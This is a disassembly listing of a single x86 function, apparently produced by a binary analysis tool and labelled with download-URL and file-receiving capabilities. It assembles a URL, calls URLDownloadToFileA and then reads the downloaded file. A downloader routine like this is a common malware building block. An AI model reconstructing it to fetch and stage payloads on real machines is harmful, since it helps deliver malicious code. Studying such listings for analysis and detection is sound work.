Function at 0x1000940e
Capabilities:
Download url
Get file size
Receive data

Disassembly:
push 0x52c
mov eax, 0x100436e8
call fcn.1002eac6
lea ecx, [ebp - 0x510]
call fcn.10027b2b
xor ebx, ebx
lea ecx, [ebp - 0x50c]
mov dword [ebp - 4], ebx
call fcn.10011500
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 1
call fcn.100024ff
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x50c]
mov byte [ebp - 4], 2
call fcn.10011ba2
mov dword [ebp - 0x524], ebx
mov dword [ebp - 0x520], ebx
mov dword [ebp - 0x51c], ebx
lea ecx, [ebp - 0x504]
mov byte [ebp - 4], 4
call fcn.1000ad27
push 0x3ff
lea eax, [ebp - 0x40f]
push ebx
push eax
mov byte [ebp - 4], 5
mov byte [ebp - 0x410], bl
call fcn.1002eb70
push 0x21
lea eax, [ebp - 0x410]
push 0x100479e8
push eax
call fcn.1002dda0
add esp, 0x18
mov esi, 0x10047a68
push esi
push 0x21
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x504]
call fcn.1000ad37
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.10002b9d
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x524]
mov byte [ebp - 4], 6
call fcn.10003df5
push ebx
push 1
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 5
call fcn.100012ee
push 0x1c
lea eax, [ebp - 0x410]
push 0x10047a0c
push eax
call fcn.1002dda0
add esp, 0xc
push esi
push 0x1c
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x504]
call fcn.1000ad37
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.10002b9d
lea eax, [ebp - 0x42c]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x524]
call fcn.10003df5
push ebx
push 1
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 5
call fcn.100012ee
push 0x1f
pop edi
push edi
lea eax, [ebp - 0x410]
push 0x10047a28
push eax
call fcn.1002dda0
add esp, 0xc
push esi
push edi
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x504]
call fcn.1000ad37
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.10002b9d
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x524]
mov byte [ebp - 4], 8
call fcn.10003df5
push ebx
push 1
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 5
call fcn.100012ee
push edi
lea eax, [ebp - 0x410]
push 0x10047a48
push eax
call fcn.1002dda0
add esp, 0xc
push esi
push edi
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x504]
call fcn.1000ad37
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.10002b9d
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x524]
mov byte [ebp - 4], 9
call fcn.10003df5
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 5
call fcn.100012ee
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x464]
push eax
call fcn.1000d268
pop ecx
pop ecx
lea eax, [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0xa
call fcn.100283a6
mov esi, eax
mov byte [ebp - 4], 0xb
push 0x10047a84
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.10001cc6
push esi
push eax
lea eax, [ebp - 0x42c]
push eax
mov byte [ebp - 4], 0xc
call fcn.10009078
add esp, 0x18
push eax
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xd
call fcn.10001979
push ebx
push edi
lea ecx, [ebp - 0x42c]
call fcn.100012ee
push ebx
push edi
lea ecx, [ebp - 0x480]
call fcn.100012ee
push ebx
push edi
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0xa
call fcn.100012ee
cmp dword [ebp - 0x434], 0x10
mov ecx, dword [ebp - 0x448]
jae 0x100096e2
lea ecx, [ebp - 0x448]
cmp dword [ebp - 0x450], 0x10
mov eax, dword [ebp - 0x464]
jae 0x100096f7
lea eax, [ebp - 0x464]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x1000976e
push ebx
push edi
lea ecx, [ebp - 0x464]
call fcn.100012ee
lea ecx, [ebp - 0x504]
mov byte [ebp - 4], 4
call fcn.1000ad30
lea ecx, [ebp - 0x524]
call fcn.100034b0
push ebx
push edi
lea ecx, [ebp - 0x448]
call fcn.100012ee
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 1
call fcn.10002508
lea ecx, [ebp - 0x50c]
mov byte [ebp - 4], bl
call fcn.10011509
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x510]
call fcn.10027b34
or eax, 0xffffffff
call fcn.1002eb49
ret
cmp dword [ebp - 0x434], 0x10
mov eax, dword [ebp - 0x448]
jae 0x10009783
lea eax, [ebp - 0x448]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp - 0x528]
push eax
push esi
mov dword [ebp - 0x528], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test al, 7
jne 0x10009705
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov dword [ebp - 0x508], esp
lea eax, [ebp - 0x4fd]
mov dword [ebp - 0x508], esp
push eax
lea ecx, [ebp - 0x538]
call fcn.10008ef7
mov eax, dword [0x1005c004]
mov ecx, dword [0x1005c000]
sub eax, ecx
push 0x60
cdq
pop esi
idiv esi
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x508], ebx
test eax, eax
je 0x10009862
xor esi, esi
add ecx, esi
push ecx
lea ecx, [ebp - 0x4fc]
call fcn.10002b43
lea eax, [ebp - 0x4fc]
push eax
push eax
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0xf
call fcn.10003bf2
mov ecx, eax
call fcn.10008661
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 0xe
call fcn.100029d6
mov eax, dword [0x1005c004]
mov ecx, dword [0x1005c000]
sub eax, ecx
push 0x60
cdq
pop edi
idiv edi
inc dword [ebp - 0x508]
add esi, 0x60
cmp dword [ebp - 0x508], eax
jb 0x10009800
xor edi, edi
inc edi
push dword [0x1005c004]
lea eax, [ebp - 0x508]
push ecx
mov esi, 0x1005c000
push eax
mov ecx, esi
call fcn.100086b3
lea eax, [ebp - 0x538]
push eax
push esi
lea eax, [ebp - 0x448]
push eax
push dword [0x1009c15c]
lea ecx, [ebp - 0x514]
push dword [0x1009c178]
call fcn.10003cce
cmp dword [ebp - 0x434], 0x10
mov byte [ebp - 0x4fd], al
mov eax, dword [ebp - 0x448]
jae 0x100098bd
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x50c]
call fcn.10011661
cmp byte [ebp - 0x4fd], bl
jne 0x1000994a
or esi, 0xffffffff
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0xa
call fcn.100093d3
push ebx
push edi
lea ecx, [ebp - 0x464]
call fcn.100012ee
lea ecx, [ebp - 0x504]
mov byte [ebp - 4], 4
call fcn.1000ad30
lea ecx, [ebp - 0x524]
call fcn.100034b0
push ebx
push edi
lea ecx, [ebp - 0x448]
call fcn.100012ee
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 1
call fcn.10002508
lea ecx, [ebp - 0x50c]
mov byte [ebp - 4], bl
call fcn.10011509
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x510]
call fcn.10027b34
mov eax, esi
jmp 0x10009768
mov esi, edi
jmp 0x100098d4